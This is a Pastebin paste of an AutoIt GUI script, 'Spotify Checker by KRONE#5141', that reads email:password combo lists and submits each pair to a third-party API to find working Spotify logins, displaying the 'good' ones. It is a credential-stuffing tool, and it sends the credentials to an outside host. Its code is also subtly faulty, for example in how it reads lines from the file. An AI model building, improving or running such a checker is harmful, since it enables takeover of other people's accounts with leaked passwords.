Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <ButtonConstants.au3>
- #include <EditConstants.au3>
- #include <GUIConstantsEx.au3>
- #include <StaticConstants.au3>
- #include <WindowsConstants.au3>
- #include <MsgBoxConstants.au3>
- #include <Array.au3>
- #include <String.au3>
- #include <File.au3>
- #Region ### START Koda GUI section ### Form=
- $Form1 = GUICreate("Spotify Checker by KRONE#5141", 648, 275, -1262, -4)
- $Edit1 = GUICtrlCreateEdit("", 120, 0, 521, 273)
- GUICtrlSetData(-1, "")
- $L = GUICtrlCreateButton("Load", 8, 8, 105, 33)
- $S = GUICtrlCreateButton("Check", 8, 56, 105, 33)
- $LL = GUICtrlCreateLabel("Loaded:", 8, 104, 50, 17)
- $G = GUICtrlCreateLabel("Good:", 8, 136, 50, 17)
- GUISetState(@SW_SHOW)
- #EndRegion ### END Koda GUI section ###
- $HTTP_STATUS_OK = 200
- Func HttpPost($sURL, $sData = "")
- Local $oHTTP = ObjCreate("WinHttp.WinHttpRequest.5.1")
- $oHTTP.Open("POST", $sURL, False)
- If (@error) Then Return SetError(1, 0, 0)
- $oHTTP.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
- $oHTTP.Send($sData)
- If (@error) Then Return SetError(2, 0, 0)
- If ($oHTTP.Status <> $HTTP_STATUS_OK) Then Return SetError(3, 0, 0)
- Return SetError(0, 0, $oHTTP.ResponseText)
- EndFunc
- While 1
- $nMsg = GUIGetMsg()
- Switch $nMsg
- Case $GUI_EVENT_CLOSE
- Exit
- Case $L
- Global $F = FileOpenDialog("File",@DesktopCommonDir,"Text Files(*.txt)")
- $LI = _FileCountLines($F)
- GUICtrlSetData($LL,"Loaded:"&String($LI))
- Case $S
- $i = 0
- $GG = 0
- Do
- local $C = FileReadLine($i)
- local $P = _StringBetween(String($C),":","")
- local $U = _StringBetween(String($C),"",":")
- Global $PA = _ArrayToString($P)
- Global $US = _ArrayToString($U)
- $R = HttpPost("https://api.dw1.co/spotify/v2/check","email={"&$US&"}&password={"&$PA&"}")
- if $R = '{ "status": false, "error": "Invalid `email` address."}' Then
- ;nothing
- Else
- $GG = $GG + 1
- GUICtrlSetData($G,"Good:"&$GG)
- $rEAD = GUICtrlRead($Edit1)
- GUICtrlSetData($Edit1,$rEAD&$US&":"&$PA&@CRLF)
- EndIf
- $i = $i + 1
- until $i = _FileCountLines($F)
- MsgBox(0,"KRONE#5141","Done")
- EndSwitch
- WEnd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement